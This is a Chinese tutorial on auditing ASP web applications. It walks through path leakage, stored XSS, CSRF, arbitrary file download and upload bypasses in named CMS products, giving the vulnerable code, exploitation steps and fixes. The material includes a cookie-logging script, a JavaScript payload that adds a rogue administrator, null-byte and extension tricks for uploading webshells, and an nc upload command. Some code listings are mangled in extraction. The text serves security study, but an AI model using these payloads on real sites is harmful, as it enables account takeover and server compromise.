返回旧版| 微信建站| 建站之家论坛| 我要建站 | 建站学习 | 加入收藏
asp基础当前位置:首页 > HTML教程 > asp基础 > 正文

Web源码安全审计之ASP篇(上)

发布时间:2014-01-05 21:56:00   来源:   点击:

 0x01 ASP简介:

ASP是一种服务器端脚本编写环境,可以用来创建和运行动态网页或Web应用程序。ASP网页可以包含HTML标记、普通文本、脚本命令以及COM组件等。利用ASP可以向网页中添加交互式内容(如在线表单),也可以创建使用HTML网页作为用户界面的web应用程序。

0x02 ASP漏洞介绍:

一.数据库路径泄露 (DataBase Path Leak)
概述:数据库路径泄露主要表现在ASP+Access搭建的WEB中,当攻击者提交%5c的时候,IIS会解析错误,导致输出了真实数据库路径, %5c是的十六进制代码,也就是的另一种表示方法。
漏洞原理:我们在提交数据的时候,IE会自动把%5c转换成/,从而得到同一地址。在asp类型网站中,都会用到一个数据库连接的文件,名字一般是conn.asp。
漏洞代码:这里我用动力文章系统做案例,代码如下:

 

  1. <
  2. dim conn 
  3. dim connstr 
  4. dim db 
  5. db="database/adsfkldfogowerjnokfdslwejhdfsjhk.mdb"      
  6.  '数据库文件的位置 
  7. Set conn = Server.CreateObject("ADODB.Connection") 
  8. connstr="Provider=Microsoft.Jet.OLEDB.4.0;Data 
  9. Source=" & Server.MapPath(db) 
  10. conn.Open connstr 
  11. %> 

漏洞利用:当访问http://www.aspmps.com/cn%5cconn.asp IIS就会报错将数据库绝对路径输出到客户端,如下图所示

Web源码安全审计之ASP篇(上)
当数据库路径被泄露,攻击者就可以将数据库下载到本地,找到表中的后台管理员账户和密码,这样就可以轻松进入网站的后台管理,此漏洞只针对于ACCESS数据库,SQL server数据库不受影响。 动力系统的暴库问题已久,去年360公司为此发布一则公告,多家媒体都有转载 链接地址:http://tech.163.com/digi/12/0312/15/7SDHI0LJ00163HE0.html。
漏洞修复:修补此漏洞的方法有2种,第一种在conn.open connstr 代码之前加入 On Error Resume Next ,第二种方法在IIS服务器配置选项中选择“向客户端发送下列文本错误消息”。如下图2所示
 
Web源码安全审计之ASP篇(上)
 
二.跨站脚本攻击(Cross-Site Scripting)
    概述:Cross-site scripting(XSS),是一种经常出现在Web应用中的计算机安全漏洞,它允许恶意Web用户将代码植入到提供给其它用户使用的页面中。比如,包括HTML代码和客户端脚本的页面。为不和层叠样式表(CSS)的缩写混淆,通常将跨站脚本缩写为XSS。攻击者一般会利用XSS漏洞旁路掉访问控制——例如同源策略(same origin policy)或发起phishing攻击,网页挂马,cookie窃取等。Xss跨站攻击分为两种,一种反射型攻击,还有一种存储型攻击。反射型攻击和源码审计关系不大,在此略过,重点介绍下存储型攻击。
    漏洞原理:存储型攻击就是将恶意代码通过交互页面植入数据库中,当管理员访问到调用恶意代码的页面时,攻击变产生了。例如在某系统留言反馈栏目中留言内容表单未经过安全处理,客户端可以任意提交恶意代码,导致了XSS跨站漏洞。
漏洞代码:
  1. <
  2. Content = "" 
  3.     For i = 1 To Request.Form("Content").Count 
  4.         ContentContent = Content & Request.Form("Content")(i) 
  5.     Next 
  6. ………… //省略部分代码 
  7. rs("Guest_ZIP")=HTMLEncode(Guest_ZIP) 
  8.     rs("Guest_TEL")=HTMLEncode(Guest_TEL) 
  9.     rs("Guest_FAX")=HTMLEncode(Guest_FAX) 
  10.     rs("Content")=Content 
  11.     rs.Update 
  12.  %> 
   上述代码中Request.Form方法获取的content值没有经过安全处理,造成可以XSS存储型攻击。
漏洞利用:
Web源码安全审计之ASP篇(上)
   攻击者在留言内容框中输入上述代码后,当后台管理员查看了此条留言,则跨站攻击生效,这时候将管理员的COOKIES信息发送到 xxx域名下保存起来。cookies.asp文件功能是生成个文件保存管理员的COOKIES信息,代码如下:
 
  1. <
  2. c=Request.ServerVariables("QUERY_STRING") 
  3. testfile=Server.MapPath("cookies.txt") 
  4. set fs=server.CreateObject("scripting.filesystemobject") 
  5. set thisfile=fs.OpenTextFile(testfile,8,True,0) 
  6. thisfile.Writeline(""&c& "") 
  7. thisfile.close 
  8. set fs = nothing 
  9. %> 
 
Web源码安全审计之ASP篇(上)
漏洞修复:将“< ’ ” >”标签进行HTML编码。
三.跨站请求伪造攻击(Cross Site Request Forgery)
    概述:CSRF是Cross Site Request Forgery的缩写,直译过来就是跨站请求伪造的意思,通常用来指 WEB 网站的这一类漏洞,即在某个恶意站点的页面上,促使访问者请求你的网站的某个 URL ,从而达到改变服务器端数据的目的。
    漏洞原理:结合跨站漏洞,利用JS脚本代码,做管理员身份才能做的事,但这种动作非管理员本身的请求。
   漏洞代码:此系统中有个安全过滤函数HTMLEncode,代码如下:
  1. <span style="font-family: Arial, Verdana, sans-serif;">
  2. Public Function HTMLEncode(str)</span> 
 
  1. If Not IsNull(str) Then 
  2. str = Replace(str, Chr(38), "&") 
  3. str = Replace(str, "<", "<") 
  4. str = Replace(str, ">", ">") 
  5. str = Replace(str, Chr(9), " ") 
  6. str = Replace(str, Chr(32), " ") 
  7. str = Replace(str, Chr(34), """) 
  8. str = Replace(str, Chr(39), "'") 
  9. str = Replace(str, Chr(13) & Chr(10), " ") 
  10. str = Replace(str, Chr(10), " ") 
  11. str = Replace(str, Chr(13), " ") 
  12. HTMLEncode = str End If End Function //以下是漏洞关键点 
  13. Content = "" 
  14. For i = 1 To Request.Form("Content").Count Content
  15. Content = Content & Request.Form("Content")(i) Next ………… //省略部分代码 
  16. rs("Guest_ZIP")=HTMLEncode(Guest_ZIP) 
  17. rs("Guest_TEL")=HTMLEncode(Guest_TEL) 
  18. rs("Guest_FAX")=HTMLEncode(Guest_FAX) 
  19. rs("Content")=Content rs.Update 
述代码中Content变量经过Request.Form获取后并没有像Guest_FAX变量这样经过HTMLEncode过滤。

漏洞利用:利用方法如图所示

Web源码安全审计之ASP篇(上)
Xss.js脚本作用是执行添加一个新的管理员topsec。代码如下:
  1. var request = false
  2. if(window.XMLHttpRequest) { 
  3. request = new XMLHttpRequest(); 
  4. if(request.overrideMimeType) { 
  5. request.overrideMimeType('text/xml'); 
  6. } else if(window.ActiveXObject) { 
  7. var versions = ['Microsoft.XMLHTTP', 
  8. 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 
  9. 'Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0',
  10. 'Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 
  11. 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP']; 
  12. for(var i=0; i<versions.length; i++) { 
  13. try { 
  14. request = new ActiveXObject(versions[i]); 
  15. } catch(e) {} 
  16. xmlhttp=request
  17.   
  18. add_admin(); 
  19. function add_admin(){ 
  20. var url="/admin/SysAdmin_Add.asp?Action=SysAdmin_Add"
  21. var params ="SiteControl_LoginName=topsec&SiteControl_LoginPass=
  22. 123456&SiteControl_RealName=topsec&imageField.x=24&imageField.y=8";    
  23. xmlhttp.open("POST", url, true); 
  24. xmlhttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded"); 
  25. xmlhttp.setRequestHeader("Content-length", params.length); 
  26. xmlhttp.setRequestHeader("Connection", "close"); 
  27. xmlhttp.send(params); 

    植入如图所示的一段代码后,当管理员进入后台去查看此留言的时候就会触发该漏洞,系统会自动给我们加上账户为topsec,密码为123456的管理员。
漏洞修复:加入token认证,修复前台跨站漏洞。

四.任意文件下载(Arbitrary File Download)
    概述:如果系统存在stream流模式下载模块,而对应下载文件的地址没有做过安全过滤处理,则会发生任何文件都可被下载的安全隐患,在windows平台下此问题更加严重。
漏洞原理:Windows系统支持“.asp+空格”和“.asp+.”等同于“.asp”文件,如果存在下载模块未加验证,则可以下载任意文件。
漏洞代码:下面以沸腾展望系统经典下载漏洞源码做介绍。关键源码如下:

  1. <
  2. Dim Stream 
  3. Dim Contents 
  4. Dim FileName 
  5. Dim TrueFileName 
  6. Dim FileExt 
  7. Dim SavePath 
  8.   
  9. Const adTypeBinary = 1 
  10. FileName = Request.QueryString("FileName") 
  11. If FileName = "" Then 
  12.     Response.Write "无效文件名!" 
  13.     Response.End 
  14. End if 
  15.   
  16.   
  17. FileExt = Mid(FileName, InStrRev(FileName, ".") + 1) 
  18. Select Case UCase(FileExt) 
  19.     Case "ASP", "ASA", "ASPX", "ASAX", "MDB" 
  20.         Response.Write "非法操作!" 
  21.         Response.End 
  22. End Select 
  23. Response.Clear 
  24. if lcase(right(FileName,3))="gif" or lcase(right(FileName,3))="jpg" 
  25. or lcase(right(FileName,3))="png" then 
  26.     Response.ContentType = "image/*" '对图像文件不出现下载对话框 
  27. else 
  28.     Response.ContentType = "application/ms-download" 
  29. end if 
  30. Response.AddHeader "content-disposition", "attachment; filename=" & 
  31. GetFileName(Request.QueryString("FileName")) 
  32. Set Stream = server.CreateObject("ADODB.Stream") 
  33. Stream.Type = adTypeBinary 
  34. Stream.Open 
  35.   
  36. SavePath = FileUploadPath        '存放上传文件的目录 
  37. TrueFileName = SavePath & FileName 
  38.   
  39. Stream.LoadFromFile Server.MapPath(TrueFileName) 
  40. While Not Stream.EOS 
  41.     Response.BinaryWrite Stream.Read(1024 * 64) 
  42. Wend 
  43. Stream.Close 
  44. Set Stream = Nothing 
  45. Response.Flush 
  46. Response.End 
  47. %> 

   上述代码粗体部分是漏洞形成的关键代码,首先程序通过 Request.QueryString("FileName") 方法指定任意文件名,虽然程序在下面判断了文件后缀名,可是并没有对后缀名进行安全处理,导致客户端可以在后缀名之后加上空格的URL编码从而绕过程序的验证,文件被下载。
漏洞利用:利用方法如下图

Web源码安全审计之ASP篇(上)
    如图上所示当攻击者在浏览器的地址栏中输入“down.asp?filename=./cn/index.asp%20”, %20就是经过URL编码后的空格,%2E就是经过URL编码后的“.”,提交后迅雷就会提示下载。
    漏洞修复:修补的方法也很简单,下载文件前最好带入数据库查询,存在则下载。还有种方法,用正则表达式去限制。
五.无组件上传(File Upload)
    概述:上传漏洞在ASP程序漏洞中表现的格外抢眼,各种利用手法层出不穷,以下就分别介绍最常见的三种上传漏洞,分别是“截断上传漏洞” , “变量继承上传漏洞” , “验证不严谨上传漏洞” 。
    漏洞原理:有十六进制截断,变量逻辑继承,对后缀名验证不严谨,还有的压根不验证后缀名的上传。
    漏洞代码:1.首选介绍截断上传,动网论坛作为曾经风靡一时的ASP论坛,也被爆出了各种漏洞,其中以上传漏洞最具代表性,下面就以知名程序动网来做分析。出现漏洞的文件位于Upfile.asp,核心代码如下:
  1. <
  2. dim upload,file,formName,formPath,iCount,filename,fileExt 
  3. set upload=new upload_5xSoft 
  4. formPath=upload.form("filepath")   '//漏洞关键点 
  5. if right(formPath,1)<>"/" then formPathformPath=formPath&"/" 
  6. for each formName in upload.objFile 
  7. set file=upload.file(formName) 
  8.   
  9. fileExt=lcase(right(file.filename,4))  
  10. '//从文件名中截取后4位,并转换为小写字符。 
  11. if fileEXT<>".gif" and fileEXT<>".jpg" and fileEXT<>".zip" 
  12. and fileEXT<>".rar" and fileEXT<>".swf"then 
  13. response.write "文件格式不正确 [ 重新上传 ]" 
  14. response.end 
  15. end if 
  16. randomize 
  17. ranNum=int(90000*rnd)+10000 
  18. filename=formPath&year(now)&month(now)&day(now)&hour(now)
  19. &minute(now)&second(now)&ranNum&fileExt  
  20. '//漏洞关键点filename由提交的文件路径+年月日的随机文件名+转换后的扩展名组成 
  21. if file.FileSize>0 then 
  22. file.SaveAs Server.mappath(FileName) 
  23. response.write "上传成功!" 
  24. end if 
  25. set file=nothing 
  26. %> 
   上述代码虽然对上传的文件类型做了判断,但是在最后保存的时候加上了formPath这个值,而这个值从客户端提交过来的,攻击者就可以伪造个数据包。客户端提交代码如下:
攻击者将正常数据包抓取后修改formPath = “../images/a.asp” + 空格,然后用C32ASM 16进制模式修改空格变成00。因为00是终止符,上传的时候程序检测到00后就认为上传已经结束。如下图所示
Web源码安全审计之ASP篇(上)
修改保存后用NC提交,在CMD下输入 nc www.aspmps.com 80<1.txt 即可上传成功。如下图所示
 
Web源码安全审计之ASP篇(上)]
修复此漏洞的办法其实也很简单,只需检查文件上传名种是否存在chr(0),若存在用Replace函数替换即可。
  2. 变量继承上传漏洞:当上传多个文件的时候某些上传程序变量逻辑混乱造成了变量继承,在下面就用大名鼎鼎的自由动力文章系统来做分析。攻击者可制作个HTML表单同时上传2个文件,第一个FILE控件中选择正常的rar文件,第二个FILE控件中选择一个Cer文件,在这个cer文件中写入ASP一句话木马。再修改Form中的Action值即可提交成功。如下图
 
Web源码安全审计之ASP篇(上)
Upfile_Soft.asp漏洞核心代码如下:
  1. <
  2. const UpFileType="rar|zip|exe|mpg|rm|wav|mid" 
  3. dim upload,oFile,formName,SavePath,filename,fileExt,oFileSize 
  4. dim EnableUpload 
  5. dim arrUpFileType 
  6. dim ranNum 
  7. dim msg,FoundErr 
  8. msg="" 
  9. FoundErr=false 
  10. EnableUpload=false 
  11. for each formName in upload.file '列出所有上传了的文件 
  12.   
  13.         set ofile=upload.file(formName)  '生成一个文件对象 
  14.         oFileSize=ofile.filesize 
  15.         if oFileSize<100 then="" msg="请先选择你要上传的文件!" 
  16. founderr="True" elseif="" ofilesize="">(MaxFileSize*1024) then 
  17.              msg="文件大小超过了限制,最大只能上传" & CStr(MaxFileSize) & "K的文件!" 
  18.             FoundErr=true 
  19.         end if 
  20.         fileExt=lcase(ofile.FileExt) 
  21.         arrUpFileType=split(UpFileType,"|") 
  22.         for i=0 to ubound(arrUpFileType) 
  23.             if fileEXT=trim(arrUpFileType(i)) then 
  24.                 EnableUpload=true    ' 第一关上传文件符合rar后缀名,EnableUpload = true 
  25.                 exit for 
  26.             end if 
  27.         next     
  28.           
  29.         if fileEXT="asp" or fileEXT="asa" or fileEXT="aspx" then 
  30.             EnableUpload=false        
  31. '第二关检验是否属于三种禁传类型,因为不属于,变量EnableUpload仍为true。 
  32.         end if 
  33.       
  34.         if EnableUpload=false then        
  35. ' 第三关 如果EnableUpload=false,那么FoundErr=true
  36. 而前面传递来的EnableUpload=true,那FoundErr仍为进入第一个FOR循环之前的false。 
  37.             msg="这种文件类型不允许上传!nn只允许上传这几种文件类型:" & UpFileType 
  38.             FoundErr=true 
  39.         end if 
  40. if FoundErr<>true then            
  41. ' 第四关 如果FoundErr<>true就可以通过,看一下从第三关传递过来的FoundErr的值,是 false,可以上传。 
  42.             FileName=SavePath & ofile.FileName 
  43.             If IsObjInstalled("Scripting.FileSystemObject") Then 
  44.                 dim fso 
  45.                 set fso=CreateObject("Scripting.FileSystemObject") 
  46.                 if fso.FileExists(Server.mappath(FileName)) then 
  47.                     randomize 
  48.                     ranNum=int(900*rnd)+100 
  49.                         filename=SavePath&year(now)&month(now)&day(now)
  50. &hour(now)&minute(now)&second(now)&ranNum&"."&fileExt 
  51.                 end if 
  52.                 set fso=nothing 
  53.             end if 
  54.             ofile.SaveToFile Server.mappath(FileName) 
  55. %> 
上述代码加了四个关键关卡注释,自cer进行上传验证开始,一直未出现FoundErr,FoundErr的值是什么?它还是rar上传后的值false,而第四关的验证就是只要 FoundErr不是true就可以上传,所以,这个cer文件也就通过了层层关卡,进入了服务器。惊奇的是在最新的研究发现即使上面的漏洞被修复了,加上服务器操作系统式windows2003的话,攻击者可以直接上传1.asp;.mpg后缀名的一句话木马文件。如下图所示
Web源码安全审计之ASP篇(上)
  3. 验证不严谨上传漏洞:这种后缀名验证不严谨漏洞存在很多情况,动感上传漏洞具有代表性。下面就以动感购物系统的上传模块做分析。这种上传漏洞的利用需要攻击者通过某些手段进入后台后配置上传文件允许的后缀名“cer|ccerer”。如下图所示
Web源码安全审计之ASP篇(上)
然后通过后台图片上传功能,直接上传后缀名为ccerer的一句话木马文件即可。产生这个漏洞的核心代码如下:
  1. <
  2. Private Function FixName(Byval UpFileExt) 
  3.         If IsEmpty(UpFileExt) Then Exit Function 
  4.         FixName = Lcase(UpFileExt) 
  5.         FixName = Replace(FixName,Chr(0),"") 
  6.         FixName = Replace(FixName,".","") 
  7.         FixName = Replace(FixName,"'","") 
  8.         FixName = Replace(FixName,"asp","") 
  9.         FixName = Replace(FixName,"asa","") 
  10.         FixName = Replace(FixName,"aspx","") 
  11.         FixName = Replace(FixName,"cer","")     
  12. '第一关检查,ccerer变成了cer 成功绕过 
  13.         FixName = Replace(FixName,"cdx","") 
  14.         FixName = Replace(FixName,"htr","") 
  15.         FixName = Replace(FixName,"shtml","") 
  16. End Function 
  17.   
  18. Private Function CheckFileExt(FileExt) 
  19.         Dim Forumupload,i 
  20.         CheckFileExt=False 
  21.         If FileExt="" or IsEmpty(FileExt) Then 
  22.             CheckFileExt = False 
  23.             Exit Function 
  24.         End If 
  25.         If FileExt="asp" or FileExt="asa" or FileExt="aspx" or FileExt="shtml" Then    
  26. ' 第二关 cer并不在检测范围内,成功绕过 
  27.             CheckFileExt = False 
  28.             Exit Function 
  29.         End If 
  30.         Forumupload = Split(InceptFile,",") 
  31.         For i = 0 To ubound(Forumupload) 
  32.             If FileExt = Trim(Forumupload(i)) Then        
  33. ' 第三关 cer后缀名在数据库变量中 成功匹配 
  34.                 CheckFileExt = True 
  35.                 Exit Function 
  36.             Else 
  37.                 CheckFileExt = False 
  38.             End If 
  39.         Next 
  40. End Function 
  41. %> 
攻击者提交的后缀名是ccerer,经过FixName = Replace(FixName,"cer","") 后 ccerer中间的cer已经被过滤掉了,但又变成了cer后缀,这样程序就过了第一关的检测。 如下图所示
 
Web源码安全审计之ASP篇(上)
接下来程序继续检查是后缀名和指定类型名是否一致,一致的话则是非法文件,可惜程序并没有检查cer文件,这样cer文件就过了第二关。接下来程序检测文件的后缀名是否在后台配置文件中,若匹配成功则上传。如下图所示
 
Web源码安全审计之ASP篇(上)
这样攻击者的cer文件就成功的上传到服务器上,由于IIS扩展映射中存在将cer等同于asp 文件处理,所以造成了上传漏洞。如下图所示
Web源码安全审计之ASP篇(上)
当然还有一些其他的漏洞类型,如 “可以上传任意文件”,“突破MIME文件头验证上传”,“Javascript本地验证上传”等等,总的来说以上这三种上传漏洞具有代表性
版权所有:郑州腾石网络科技有限公司 备案信息:豫ICP备18019117号
站长QQ:2863868475 业务合作咨询:15137100750(同微信)
本站所有投放的广告是有其他网站提供,不代表本站立场,同时网站首页广告位对外出租详情咨询本站站长!同时欢迎广大站长加入个人建站团队
  • 建站客服
  • CMS仿站
  • CMS学习
  • 技术交流群:336572814